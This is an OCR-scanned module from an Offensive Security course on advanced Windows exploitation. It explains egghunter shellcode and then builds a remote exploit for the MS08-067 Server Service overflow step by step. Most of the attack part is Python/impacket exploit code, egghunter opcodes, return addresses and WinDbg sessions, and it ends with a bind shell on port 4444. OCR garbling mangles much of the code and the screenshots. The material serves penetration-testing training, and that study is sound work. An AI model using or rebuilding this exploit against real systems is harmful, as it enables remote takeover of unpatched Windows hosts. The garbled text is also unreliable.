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gouction

Exploiting software vulnerabilities in order to gain code execution is probably the most powerful and
direct attack vector available to a security professional. Nothing beats whipping out an exploit and
getting an immediate shell on your target.

As the IT industry matures and security technologies advance, exploitation of modern popular software
has become more difficult, and has definitely raised the bar for penetration testers and vulnerability
researchers alike.

In this course we will examine five recent vulnerabilities in major software, which required extreme
memory manipulation to exploit. We will dive deep into each scenario and gain a firm understaning of
Advanced Windows Exploitation.

6 © All rights reserved to Offensive Security, 2010



¢ Understanding Egghunters
¢ Understanding and using Egghunters in limited space environments
e Exploiting MS08-067 vulnerability using an Egghunter

An egghunter is a short piece of code which is safely able to search the Virtual Address Space for an egg,
a short string signifying the beginning of a larger payload. The egghunter code will usually include an
error handling mechanism for dealing with access to non-allocated memory ranges.

The following code is Matt Millers egghunter implementation’:

We use edx for the counter to scan the memory.

loop_ inc_ page:
or dx, OxO0fff : Go to last address in page n (this could also be used to
XOR EDX and set the counter to 00000000)

loop inc_one:

inc edx : Go to first address in page n+l
loop_check:
push edx : save edx which holds our current memory location
push 0x2, pop eax : initialize the call to NtAccessCheckAndAuditAlarm
int Ox2e : perform the system call
cmp al,05 : check for access violation, 0xc0000005 (ACCESS VIOLATION)
pop edx : restore edx to check later the content of pointed address
loop_check_8 valid:
je loop inc_page : if access violation encountered, go to next page
is_egg:
mov eax, 0x57303054 : load egg (WOOT in this example)
mov edi, edx : initializes pointer with current checked address
scasd : Compare eax with doubleword at edi and set status flags
jnz loop_inc_one : No match, we will increase our memory counter by one
scads : first part of the egg detected, check for the second part
jnz loop_inc one : No match, we found just a location with half an egg
matched:
jmp edi : edi points to the first byte of our 3rd stage code, let's go!

[Matt Millers egghunter implementation] http://www.hick. org/code/skape/shellcode/win32/egghunt_syscall.c

! "Safely Searching Process Virtual Address Space" (skape 2004) http://www.hick.org/code/skape/papers/egghunt-
shellcode.pdf
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The following diagram depicts the functionality of Matt Millers' egghunter.

WOOTWOOT EggHunter

EggHunter

Got W

0077 Nol

o,

Got WOOT?  Nol

Got WOOT? YES!
WOOTWOOT? YES!

You Be Shelicode!

Take some time to examine the code and corresponding diagram to understand the egghunters method
of operation. This will become clearer once we see the egghunter in action.
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1) Get familiar with an Egghunter. Open Egghunter.exe in Ollydbg and pass it the “test” parameter as
shown below.

2?2 X
Look. in: - Desktop M ﬁf v
By Documents s Imnmunity Debugger
fy Computer o WMware Infrastructure Client
My Mebwork Places o WMware Shared Folders
. Converter Standslone Client lokus-new
L Qi Corvverter MODULE_0x03
P vy Player ot N Folder
File name: \eqghunter exe Open §
. § y - » d |
Files of type:  Executable file [* exe) e Cancel i
Arguments: test (k41424742 e |

2) follow the execution of the egghunter, which is located at 00401030 (place a breakpoint there) by
pressing F8.

4 OllyDbg - eg -'
€ File Wew Debug Plugins Opti

Bl x| »]il s 21

o
ons  Window  Help

| » LlE|M/T|w]n

cC

@04P1038 > ce:S1CH FFAF  OR DX,
gE4p1a3c > 42 INC EDH

. 52 EDX
gadaiasy . ER 682
ae4p1ass |, B8 ER
ondaiaza . CD ZE INT
pa4piasc . 3C 85 CHFP AL,
a048182E . SH EDX
and4aiasF  .~74 EF SHORT egghunte.30431038
aEqpiadl . BE 9R5a905a HMOY ERX,
ga40104e . SBFH Moy EDL,EDE
ga40184s . AF SCAS OWORD PTR ES:LEDI]
gadpie4z L ~7E ER SHORT egghunte. 30481635
oa4a1p4e . AF SCAS DWORD FTR ES:LEDIT]
ga4aind4c VS ET SHORT eaghunte, 3481835
ao40a184E . FFE? JHP EDI
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The Vulnerability reported in the MS08-067 bulletin affected the Server Service on Windows systems
allowing attackers to execute arbitrary code via a crafted RPC request that triggers the overflow during
path canonicalization’.

This vulnerability was exploited in the wild by the Gimmiv.A worm, which propagated automatically
through networks, compromising machines, finding cached passwords in a number of locations and then
sending them off to a remote server.

Now that we have the basic concept egghunters, let's analyze the following pOC>:

#!/usr/bin/python

from impacket import smb

from impacket import uuid

from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
import sys

print Mok kA kkhkkhk kA hkhkkkhk kA k kA kkkkhkk Ak ko kA khhk Xk hhkkhhkkkhhkkkhrkhxkhxxn

print ki knek MS08-67 Win2k3 SP2 KKk okok ok k ok k kK1
printiltakddgeria offensive-security.com ok ko ok ok ok 1
print "EXEAKKAx KK ryujinemuts --- 11/30/2008 Hkkkkkkkkxn
print "******************************‘k***‘k**********‘k‘k********"

try:

target = sys.argv([1]

port = 445
except IndexError:

print "Usage: %s HOST" % sys.argv[0]

sys.exit ()
trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % target)
trans.connect ()
dce = trans.DCERPC_class (trans)
dce.bind(uuid.uuidtup_toﬁbin(('4b324fc8—1670—01d3—1278—5a47bf6ee188', Y3070

. i Freny
AR RRE

10 © All rights reserved to Offensive Security, 2010




UEEENDIW,

security

Reference ID

Max Count

Offset

Actual count

Server Unc

UNC Trailer Padding
Max Count

Offset

Actual Count

stub= '"\x01\x00\x00\x00"
stub+="\x10\x00\x00\x00"
stub+="\x00\x00\x00\x00"
stub+="\x10\x00\x00\x00"
stub+="\xCC'*28

stub+="\x00\x00\x00\x00"
stub+="\x2f\x00\x00\x00"'
stub+="\x00\x00\x00\x00"
stub+="\x2f\x00\x00\x00"

oM e e e e e o

stub+="\x00\x00"

stub+="\x00\x00\x00\x00" # Padding
stub+="\x02\x00\x00\x00" # Max Buf
stub+="\x02\x00\x00\x00"' # Max Count
stub+="\x00\x00\x00\x00" # Offset
stub+="\x02\x00\x00\x00" # Actual Count
stub+="\x5c\x00\x00\x00"' # Prefix
stub+="\x01\x00\x00\x00" # Pointer to pathtype
stub+="\x01\x00\x00\x00" # Path type and flags.

print "Firing payload..."
dce.call (0x1f, stub) #0x1f (or 31)- NetPathCanonicalize Operation

MS08067 0x1.py Source Code

In the above POC you should focus your attention on the following points:

*  stub+="\x41 \x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\xZe\xOO\xZe\xOO\xSc\xOO’ - this is the
evil path which triggers the overflow;

* stub+="\x41'*74 - this string will overwrite the return address.

Now, let’s fire Windbg, attach the svchost.exe process responsible for the Server Service and analyze the
crash. Note: You can choose the right svchost.exe process to attach by opening the sub-tree of each
svchost process in Windbg Attach Window and searching for Server service. If you can’t see it, “Process

Explorer™ from Sysinternals can help you find the right PID.

/A

. B ‘o)
- N NGNS - ( < g
v L‘Q»( ~v L2V, (3«;7&) S
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root@bt # ./MS08067 0xl.py 172.16.30.2

HAK AT I A Ak hkhkkhk kA hkhkhk Ak hkkhkhkhkkhkhk kA A Ak Ak Ak hkhkrkhkkhkhkkkhkkkkkkkkxxKk*

Kk ok ok ok ok kkkkk MSO8_67 Win2k3 SP2 * Kk ok ok ok ok ok ok ok ok ok
bl R ot t R offensive-security.com HREXEXEXES
Kk Kk kkkkkkk ryujin&muts IR 11/30/2008 Kkkkkkkkk kK

KAKKKXKKKRKR KK AAAAA A A A A A I A A Ak hhhhhkkkhkhkhhkhhhkhkhkhhkkhkhkhkkxhkkhx

Firing payload...

(3c0.714): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=41414141 ebx=00£f7005c ecx=00f7f4b2 edx=00f7f508 esi=00f7f4b6 edi=00f7f464

i esp=00f7f47c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00010246
41414141 27 ???

MS08067_0x1.py WinDbg Session

The Server Service crashed, a function return address has been overwritten and we can control
execution flow (EIP can be controlled by our evil string).

C%hehi@$acopeip
Ho ] dizazzenbl ible
25 227
41414142 7?7 PN
41414143 27 97
41414144 27 I
41414145 27 77
4141414 7?7 P
41414147 27 P97
41414148 27 Y
41414149 27 TR
41414148 7?7 7
4141414b 77 T
4141414 7?7 97
41414144 7 Y
4141414e 2?7 N
41414148 77 77

Figure 1: Return address completely overwritten by evil buffer
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We now must find the exact offset needed to control EIP. We will use the pattern_create tool from
Metasploit to create a unique string that will help us to identify the offset:

root@bt # /root/framework—3.2/tools/pattern_create.rb 74
AaOAalAaZAaBAa4Aa5Aa6Aa7Aa8Aa9AbOAblAb2Ab3Ab4Ab5Ab6Ab7Ab8Ab9AcOAc1Ac2Ac3Ac

[...]
stub+="\x41\x00\x5c\x00\x2e\x00\x2e\x00 " # PATH BOOM
stub+="\x5c\x00\x2e\x00\x2e\x00\x5c\x00' # PATH BOOM

[...]

Finding the right offset replacing part of the buffer with a pattern string

We replace the "A" string with the above pattern to obtain our new POC in which we changed only the
part of the buffer overwriting the return address. Running the new POC we discover that the offset is 18

Bytes:

root@bt # ./MS08067_0x2.py 172.16.30.2

**************‘k***********************‘k****************

Kk ok ok ok ok ok ok ok ok MSOS_67 W1n2k3 SP2 Kk ok ok ok ok ok ok ok ok ok
Kok Kk ok ok ok ok ok ok Offensive—security.com *ok ok Kk ok ok ok kok ok
ko ok Kok ok ok ok ok K IYUjin&muts e e 11/30/2008 Kk ok ok kok ok ok ok ok

******~k‘k**7‘(***x~k‘k********‘k*************‘k************‘k**

Firing payload...

(1d0.39c) : Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

€ax=61413761 ebx=00f7005c ecx=00f7f4b2 edx=00f7f508 esi=00f7f4b6 edi=00f7f464
; esp=00£7f47c ebp=35614134 iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00010246

root@bt # /root/framework—3.2/tools/pattern_offset.rb 41366141

Offset Discovered

13 © All rights reserved to Offensive Security, 2010




Customize... i

Reg i Value

f=

ed1i
e=1
ebx
ed=
SCH
eax
ebp
21p
efl

(1
gl

oo

0Ly
Mmoo f

Tl

[ R N e
s AR

Figure 2: Unique pattern overwrites return address with value 0x41366141

1) Repeat the required steps in order to obt

ain the offset needed to overwrite the return address.

14
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After changing the buffer in the previous POC with the following and crashing the Server Service once
again...

stub+="'\x41'*18 + '\x42'*4 + '\x43'*44 + '\x44'*4 + '\x45'*4 # 74 Bytes

Confirming offset to overwrite EIP

we come to the following conclusions:

* An 18 byte offset is needed to control EIP (EIP=42424242 as expected);

Customize. ..
:

Reey C Walue
gs I

o ’ib

Figure 3: EDX points to part of the controlled buffer

* More than one register points to a part of the controlled buffer;

e The evil buffer is, for some reason, doubled on the stack and, moreover, the 4 bytes pointed by
EDX (0x013f508 and the following 4 bytes) are a copy of the last 8 bytes in our 74 bytes buffer;
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vitusl: (0= 130fdch Display format: 350 11 v PFrewous

Mest

1ua:
1 31 8
M;Mzw
111 1ifdle .
1136E439 . o1
012301454 | i X DR 4 {
0130f4¢f
[!13@{‘45
0130t .
glantdch & A4 & & A & 4
01230f4db 2 o .
il !%tétr o C oD CCe D D EEEE ) D DDDEE
01305511

T e T T

7 Mo 73 T
LT e T e

ies Tay

Figure 4: Evil buffer doubled on the stack

We don’t have enough space to store shellcode in a memory area pointed by any of the
registers. If we use a JMP EDX instruction as a return address, the memory space between the
address overwriting EIP (0x42424242 at O0x130f4ce) and the “landing zone” address
(0x44444444 at 0x130f508), is enough to store an egghunter (58 Bytes).

splay format:  Fointer and < Previous

Mest
' 4aaanean
45454444 v
£50e u@ﬂﬁiﬁis <Unloaded T.DLL>+Dx4544
0130§C1s 000 o :

Figure 5: Owned return address on the stack
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m——

Mirkual eds

Display format: Pointer and Frresions:

Mewt

l

Figure 6: Memory space between return address and the “landing zone”
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At the beginning of the buffer we stored a 28 byte OxCC string inside the “Server UNC” packet field. The
Server UNC field was tested as a candidate to store our shellcode®. Try thinking about the following
scenario:

1. We store the egghunter just after our RET;
2. We exploit the EDX register to jump to the end of the controlled buffer;
3. We short jmp back to the beginning of the egghunter to execute it;

4. The egghunter searches for the real shellcode, jumps into it and executes it.

41 41 41 41 -
««««« ce e OFFSET=18 Bytes

41 41 41 41 "‘

90 90 90 90

»30 90 90 90 NOPSLED=12 Bytes
90 90 90 80

EGGHUNTER

EGGHUNTER=32 Bytes

EGGHUNTER

PADDING

Figure 7: Attack scenario using egghunter
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According to the egghunter approach we chose in the previous paragraph, we need to find a JMP EDX
address to redirect execution flow into our controlled buffer. Let's search for one inside ntdll.dll using

i . D 5/ : N \ - . \
Windbg: a / FenTeSV /e wflen) )/s{-; A W 11U /4}1»{ NS /NeSm e Shelle L

WA
nasm > jmp edx
00000000 FFE2 jmp edx

T ~ &b S
i~ Wain Ay >

0:045> !dlls -c ntdll.dll =
Dump dll containing 0x7c800000:

0x00081f08: C:\WINDOWS\system32\ntdll.dll
Base 0x7c800000 EntryPoint 0x00000000 Size 0x000c0000
Flags 0x80004004 LoadCount 0x0000ffff TlsIndex 0x00000000
LDRP IMAGE DLL
LDRP_ENTRY PROCESSED

0:045> s 0x7c800000 Lc0000 £ff e2
7c808ab0 ff e2 04 00 56 e8 42 af-00 00 85 cO 59 Of 85 ec ....V.B..... Y...

Searching for “JMP EDX”

We first look up the ntdll base address and size, and then search for our opcode in the resulting address
space (0x7c800000 + 0xc0000). Let's now rebuild our stub exploit and include the RET and Millers'

egghunter:

#!/usr/bin/python

from impacket import smb

from impacket import uuid

from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
import sys

Mhkrdkkhkhkhkkhhkkkkkhkkkkkkhkhkhkhkhkhkhhhkkhkhkhkhkkkkkkkrkhkkxhkkkkkkk k1l

print
print "kEkkkkkkkx MS08-67 Win2k3 SP2 * K KKk KK Kk W
print MEFxAkxok offensive-security.com KK KK kW
print M"EExEKKxAK KK ryujin&muts --- 11/30/2008 Kk KKK KKK KT
print AR R R R R & A
try:

target = sys.argv[l]

Yy
port = 445

except IndexError:
print "Usage: %s HOST" % sys.argv[0]
sys.exit ()

trans = transport.DCERPCTransportFactory('ncacn np:%s[\\pipe\\browser]' % target)

trans.connect ()
dce = trans.DCERPC_class (trans)
dce.bind(uuid.uuidtup to bin(('4b324fc8-1670-01d3-1278-5a47bf6eel88', '3.0")))

stub= '\x01\x00\x00\x00"' # Reference ID
stub+="\x10\x00\x00\x00"' # Max Count
stub+="\x00\x00\x00\x00" # Offset
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\4,.\'

stub+="\x10\x00\x00\x00" # Actual count

stub+='\x00\x00\x00\x00" # UNC Trailer Padding
stub+="\x2f\x00\x00\x00" # Max Count
stub+="\x00\x00\x00\x00" # Offset
stub+="\x2£f\x00\x00\x00" Actual Count
stub+="\x41\x00\x5c\x00\x2e\x00\x2e\x00' # PATH BOOM
stub+="\x5c\x00\x2e\x00\x2e\x00\x5c\x00' # PATH BOOM

E™S

) S

stub+="\x44\x44\x44\x44"
stub+='\x00\x00"

stub+="\x00\x00\x00\x00" # Padding
stub+="\x02\x00\x00\x00" # Max Buf
stub+="\x02\x00\x00\x00" # Max Count
stub+="\x00\x00\x00\x00" # Offset
stub+="\x02\x00\x00\x00" # Actual Count
stub+="\x5c\x00\x00\x00"' # Prefix
stub+="\x01\x00\x00\x00"' # Pointer to pathtype
stub+="\x01\x00\x00\x00"' # Path type and flags.

print "Firing payload..."
dce.call(0x1f, stub)

MS08067_0x3 Source Code

#0x1f (or 31)- NetPathCanonicalize Operation

In our previous source code we included the pattern to be searched by the egghunter at the beginning

of our fake shellcode (stub+='n00bn00b" + '\xCC'*20).

20
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Let's set a break point on JMP EDX, run our new exploit and see if we land inside the "Drop Zone":

0:039> bp 7c808ab0
0:039> bl
0 e 7c¢808ab0 0001 (0001) 0:**** ntdll!RtlFormatMessageEx+0x132

0:039> g

root@bt # ./MS08067 0x3.py 172.16.30.2

‘k‘k**‘k*****‘k**~k‘k***'k*‘k*****‘k***‘k*****‘k******************

Fokok ok ok k ok ok ok ok MS08-67 Wln2k3 SpP2 Fokok ok ok k ok ok ok ok ok
koek Akl kak offensive-security.com bk Rt
Fokk ok ok k ok ok ok ok ryujin&muts Rp—— 11/30/2008 Kokok ok ok ok ok ok kK

Ik ok ok k k k kh ok ok ok kK kk khkhk kA Ak KKK K h Kk Kk k ok ok ok ok ok ok ok ok ok ok ko &k &k & ok ok ke k&

Firing payload...

Breakpoint 0 hit
€ax=90909090 ebx=0064005c ecx=0064f4b2 edx=0064f508 esi=0064f4b6 edi=0064F464

eip=7c808ab0 esp=0064f47c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000246
ntdll!RtlFormatMessageEx+0x132:

7c808ab0 ffe2 jmp edx {0064£508}

0:013> p

€ax=90909090 ebx=0064005c ecx=0064f4b2 edx=0064f508 esi=0064f4b6 edi=0064£464
eip=0064f508 esp=0064f47c ebp=41414141 iopl=0 nv up ei pl zr na pe nc

cs=001b ss5=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000246

MS08067_0x3 Windbg Session

File Edit ‘iew Debug Window Help

= By A= PG O DREUEDODBEOOE = 13
Dffset j@s:acop51p
No prior dissssembly possible
7ciB08ab2 0400 add sl.0
?c808abd B8 push =51

0=
Yirkual: ]rzdx Display Format; §Bg:te j Previous 5 Mext i
O0e4£508 43 43 43 43 44 44 44 44 00 00 00 00 DO DO 00 00 CCCCDDDD. .. ... ..
0064£518 00 00 00 00 00 00 00 00 00 00 OO0 OO 0O OO o0 o0 . .. . .. . ..

Figure 8: Breakpoint hit on JMP EDX instruction
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securlity

£ pid 844 - WinDbg:6.9.0003.1
File Edit view Debug Window Help >

= @ st A= @0 G O DREEBORPEOOE =5

i

Offset: [@$scopeip

DOedfdfe 43 inc ebx
NO064id4Ef 43 inc ebx
00641500 43 inc ebx
0064£501 43 inc ehx
00R4£502 44 inc SSp
0064£502 44 inc eSp
0064£504 44 inc esp
NO64£505 44 inoc esp
noe4fs0e 0000 add hvte ptr [eax]. al
0064£508 43 inc ebxl
0064£509 43 inc shx
0064£50a 43 inc ehx
(0e4f50b 43 inc ehx
0064£50c 44 inc Esp
0064£50d 44 inc Esp
noed4fsie 44 inc esp
noe4£50f 44 inc esp

ModLoad: Sfaf0000 Sfafell0 C W WINDOWSwsvsten *whem ncprov.dll
ModLoad: 74ce0000 74ces0l0 C:%WINDOWS%syatem3Z\Wbam\wbemsvc.dll

{34c Fad): Hreak instructicn exception — code gnoonons {(first chance)
eax=7ffdf000 ebx=00000001 ecx=00000002 edx=00000003 ==1=00000004 edi=00000005

eip=7cflaldel esp=0lleficc ebp=010efifd iopl=0 nv up ei pl Zr na pe no
c==001b ===0023 ds=0023 es=0023 f==0038 gs=0000 ef 1=00000246
ntdll ! DhgBEreskPoint:

7ecilalel oo int 3

0:042y bp 7c808ab0

0:042> g

Ereakpoint O hit
eax=90309090 ebx=00:4005c erg=0064f4b2 edx=0064£508 esi=0064f4bé edi=0064f454

eip=7cii8abl esp=0084fd7c ebp=41414141 iopl=0 nv up i pl zr na ps no
c==001b =s=0023 d==0023 es=0023 ==003b gs=0000 ef 1=00000246
ntdll!RtlFDrmatMeasageEx+Ux132t

7cB08abl ffe2 Imp edx {00p4£508%

0:n37> p
ear=90209090 ebx=006400%c ecx=0064f4b2 edx=0064£508 esi=0064f4b6 edi=0064f464

eip=0064£508 esp=0064{47c ebp=41414141 iopl=0 nv up =i pl zr na pe nc
cs=001b =ss=0023 ds=0023 2==0023 f==003b gs=0000 =f1=00000246
0n64£508 43 inc ehx

Figure 9: Stepping over from breakpoint and landing in the controlled buffer
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Ok!VVeIandedintherghtpbce.Lefsproceedtocakubtetheshortﬂnpneededtoreachthebeghuﬂng
of the egghunter. The landing address, 0x0064f508, stores 0x43434343 at the moment; from here we
are going to look at the stack and assemble the short jmp with the help of Windbg.

Cffsets @l zcopelp

G0edt 4o 41

Nedfdc™ 41
GO0F4f 4oz 41
e 4t 4ol 41 12
UL N Ve 1
Oiedfdcd 41 1inc
e dfdoce blE= wow

039090 20 - ooty [oamiedwsd T 90h

O 4t 40 BaTonnanan COF
- 4§ 4d4°%

a7l

DOE4E4d2 20
HUE AR 4D S0
He 4 dde S
TE g4 Y54
G0EdEuan 90
cledrdild Ui
AOEAf4e 20
DOE4Ede %0

M“ﬂﬁlb* ‘»Jﬂ'“ J;mﬁﬂiﬁ ers0 027 fee0028 2= 0000 ef 1= J0000 24

GCAE0HD eeie00R4 4l edisd00dD 404
W oup =1 pL TT na pPE o
=Juaun et L= 00U 24

COPEAL 08 L mexeD L1402 edus 005 4L E0E per - D0E4I40e wdi- J00dL 464
e g 1414141 aepl=n BT oup el [l TT nA e ne
123 fs=003 z2=0010 =f l=00000 24

Display formet: Byte v  Fieviour Newst

¢ 44 44 44 44 00 00 00 00 a0 00 0O LD CionpDd
0000 o COoan 00 00 o000 00 ol oo

Figure 10: Assembling a short jump to reach the egghunter
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O G A S 0 A\
0:037> a
0064£508 jmp 0x0064f4da <-------————--—-"""""""" in the middle of the NOP slide
jmp 0x0064f4da
0064£50a
0064£508 ebd0 jmp 0x0064f4da <---- Our Short JMP OxEBD09090
Assembling short jmp opcode
Let's see if it works:
0:037> p
ax=90909090 ebx=0064005c ecx=0064f4b2 edx=0064£508 esi=0064f4b6 edi=0064f464
eip=0064f4da esp=0064£f47c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00000246
0064f4da 90 nop
0064f4d40 807¢c909090 cmp byte ptr [eax+edx*4-70h], 90h
0064£4d5 90 nop
0064£4d6 90 nop
0064£4d7 90 nop
0064£4d8 90 nop
0064£4d9 90 nop
0064f4da 90 nop Lmmmmmmmm e Short JMP lands here
0064f4db 90 nop
0064f4dc 90 nop
0064f4dd 90 nop
0064f4de 33d2 xXor edx, edx
0064f4e0 90 nop
0064f4el 90 nop
0064f4e2 90 nop
0064f4e3 42 inc edx
0064f4ed 52 push edx
Testing short jmp
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Ereakpoint 0 hit

=a -QnuUqun :bx UUh4ﬂﬂ§n ecu=0064f4b? edx=0064f508 esi1=00f4f4bt edi=0064f4k4
e1ip ebp=41414141 iopl=0 n" up e1 pl zr na ps nc
ce=0 e==0022 f==003b g=s=0000 efl=00000246
ntdl 4 v x+Hxl?3

"cSD?ahU ttPZ Jmp edx {0064£508}

0037 T

eaw=90909090 ebx=0064005 ecx=00£4f4b? edx=0064f508 es1=0064f4bf edi= 006s4f4ed
eip=0064£508 =0064f47c ebp=41414141 1opl=0 nv up 21 pl zr na pe nc
ce=001lb == 3 de=0023 es=0023 f=2=003b gs=0000 ef1=00000246
N064£508 43 inc =bx

0:037: &

0064508 Jmp Ox00G4fdda

amp O=x0064f4da

00e4fLas

ede=0064f508 esi=0064f4bb edi=0064£464
nv up ei pl zr na pe nc
ef 1=00000245

~ax*90909090 ebx=0064005c ecx=0064£4b2
eip=0064f4ida esp=0064£47c ebp=41414141 iopl=0
==001b =s=0023 ds=0023 es=0023 f{s=003b

gs=0000

Figure 11: Testing the short jump

The short jmp is working. We allow the egghunter to run and see if it finds the fake shellcode (n00bn00b
+ 0xCC*20). We will set a breakpoint on the JMP EDI instruction that is called when the pattern
"n00bn0Ob" is found. As you can see below, the JMP EDI address for the breakpoint was found looking

at the stack:

0:037> bp 0064fdfc <
0:037> g

Breakpoint 1 hit
cax=6230306e ebx=0064005c ecx=0064f478 edx=000falc0 esi=0064f4b6 edi=000falc8

eip=0064f4fc esp=0064f47c ebp=41414141 iopl=0 nv up el pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00000246

0064f4fc ffe’ jmp edi {000falc8}

Egghunter in action
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Offsat: i@SSQQpe1p Previous MNest 1
N064f4e? S8 pop eax
A06dfded cdle int 2Eh
N0e4fdea 3005 onp al. S5
006d4fdec Sa pop edx
00cd4fded 74£4 je 00b4fdel
00pd4fdef bER=303062 MO eax, A230306Eh
0064f4f4 8bfa nowv edi, ed=z
0064f4E6 af Tt dyord ptr es:[edi]
O064£4£7 75ea 0064fdel
0064£4£9 af scas dword ptr es:[edi
7 jne  (0edfded
0064fdf= 43 inc ehx
0064f4ff 43 inc ehx
0064£500 432 inc ehx
0064£501 42 inoe a2hx
U064£502 44 inc exp
O064£503 44 inc esp
0064f504 44 inc esp
o B 1
ear=90909090 ebx=0064005~ ec -00b4f4b¢ edr= 00b4t508 esi=0064f4b6 edi=N0b4f464 :ﬂ
eip=0064f508 esp=0064f47c ebp=41414141 1opl=0 nv up ei pl zr na pe nc
cs=001lb ===0023 ==0023 es=0023 f{==003b g==0000 efl=00000246
0064£508 43 inc ehx
0:027> &
0064£508 jnp 0x0064fdda
imp O0x0064f 4da
0o64f50a
0:037: p
2ax=30909090 =bx=0064005c ecx=0064f4bZ edx=0064£508 e=z1=0064f4b6 =di=0064f464
eip=00td4fdda esp=0064f47c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001lb ==z=0023 ds=0023 es=0023 f=2=003b gs=0000 efl=00000246
0064f4da 90 nop
O 03"> bp nogdfdic

nv up ei pl z2r na pe ne
ef1=00000246

LI EE

Yirtual: E::L-: Display Format: ]B};te 'i Frevious Nest f |

i0falel 6e 30 30 62 fe co oo oo oo oo oo oo n00bnidlb
a00fs1dl coc cc co oo co co oo oo 00 00 00 QO .. ..

N o
(=]
(o=

]
00
[yl

0w
[

Figure 12: Egghunter found the egg

"n00bn00b" was found! Let's step over to land into our fake shellcode:

0:013> p

eax=6230306e ebx=0064005c ecx=0064f478 edx=000falcO0 esi=0064f4b6 edi=000falc8
eip=000e8158 esp=0064f47c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 ef1=00000246
000e8158 cc int 3

000e8159 cc int 3

000e815a cc int 3

000e815b cc int 3
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000e815c cc int 3
000e815d cc int 3
000e815e cc int 3
000e815f cc int 3
000e8160 cc int 3
000e8161 cc int 3
000e8162 cc int 3

Executing the fake shellcode

It worked as expected!

1) Repeat the required steps in order to execute the egghunter and find the fake shellcode in memory.
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We can replace the fake shellcode with a real bind shell payload. Playing with our POCs and looking at
previously posted exploits on milwOrm.com, we observed that “Max Count field” and “Actual Count
field” have to be adjusted in order to control the payload size. More precisely we can see that
“Max/Actual Count” must be equal to (ServerUnc + 4)/2.

#!/usr/bin/python

from impacket import smb

from impacket import uuid

from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
import sys

print Mk khkhkkhkkhkkhkkk kA Ak Ak kA hk kA kA khkhkhkxhk kA hkhkxhkdkhkkhkkhkhkhkxhkkkkkhkkkxkxn
print "xEERkkkkkx MS08-67 Win2k3 SP2 Kk ko kT
print MxkExokxkkxx offensive-security.com KK KKK KKK K KT
print MEEkkdkkkkx ryujin&muts --- 11/30/2008 ok e Xk ek Sk kN
print Mk A A XK KA KRK A A AR A A AR AAAA A A A A AR A A kA Ak k ok ko kkhk kA dk Ak kkkkxkx
try:

target = sys.argv[l]

port = 445

except IndexError:

print "Usage: %s HOST" % sys.argv[0]

sys.exit ()
trans = transport.DCERPCTransportFactory('ncacn np:%s[\\pipe\\browser]' % target)
trans.connect ()
dce = trans.DCERPC_class (trans)
dce.bind(uuid.uuidtup_to_bin(('4b324fc8—1670—Old3—1278—5a47bf6ee188', '3.0")))
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stub= '"\x01\x00\x00\x00"

stub+="\x00\x00\x00\x00"

stub+="\x00\x00\x00\x00"'
stub+="\x2f\x00\x00\x00"
stub+="\x00\x00\x00\x00"
stub+="\x2f\x00\x00\x00"'

stub+="\x41"'*18
stub+="\xb0\x8a\x80\x7c"’

# EGGHUNTER 32 Bytes

stub+= egghunter

stub+="\x44\x44\x44\x44"
stub+="\x00\x00"

stub+="\x00\x00\x00\x00"
stub+="\x02\x00\x00\x00"
stub+="\x02\x00\x00\x00"
stub+="\x00\x00\x00\x00"
stub+="\x02\x00\x00\x00"'
stub+="\x5c\x00\x00\x00"'
stub+="\x01\x00\x00\x00"
stub+="\x01\x00\x00\x00"'

print "Firing payload..."

Final Exploit Source Code

dce.call (0x1f, stub) #0x1f
print "Done! Check shell on port 4444"

# Reference ID

# Offset

stub+="\x41\x00\x5c\x00\x2e\x00\x2e\x00"
stub+="\x5c\x00\x2e\x00\x2e\x00\x5c\x00"

egghunter ='\x33\xD2\x90\x90\x90\x42\x52\x6a"
egghunter+="\x02\x58\xcd\x2e\x3c\x05\x5a\x74"'
egghunter+="\xf4\xb8\x6e\x30\x30\x62\x8b\xfa"'
egghunter+='\xaf\x75\xea\xaf\x75\xe7\xff\xe7"'

Padding

4

Padding

Max Buf

Max Count
Offset
Actual Count
Prefix

= S S N S e

Path type and

45,—(”

UNC Trailer Padding
Max Count
Offset
Actual Count
PATH BOOM
# PATH BOOM
Padding
# 7c808ab0 JMP EDX (ffe2)

*= H oW # A

E™S

# offset to short jump is 44 bytes => 12 nop + 32 egghunter
stub+='\x90'*12# Nop sled 12 Bytes

Pointer to pathtype

flags.

(or 31)- NetPathCanonicalize Operation

~—

~

Ve

\\\ x
S — e ————
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In the final exploit there are only few things we need to change:

e We calculated Max/Actual Count value => stub+="\xac\x00\x00\x00";

( NOP + PATTERN + SHELLCODE (15+8+317)= 340 => Max/Actual Count = 172(0xac) );
¢ We added the short jump back => stub+="\xEB\xD0\x90\x90' calculated before;
o We replace fake shellcode with a Metasploit bind shell on port 4444.

Once again, let's set a breakpoint on JMP EDX and run the final exploit; we will follow each step in
Windbg:

0:067> bp 7c808ab0

0:067> bl

0 e 7c808ab0 0001 (0001) 0:**** ntdll!RtlFormatMessageEx+0x132
0:067> g

root@bt # ./MS08067 EXPLOIT.py 172.16.30.2

*******************************************************

*okkkkkk Kk kK M808_67 Win2k3 SPZ *ok ok ok ok ok ok ok ok kK
ERXEAXRL IR offensive-security.com IEKERAAK A
Kok ok Kk ok ok k ok ok Kk ryujin&muts P 11/30/2008 Kk Kk ok kkk Kk Kk

*******************************************************

Firing payload...

SRR BRI

Breakboint 0 hit
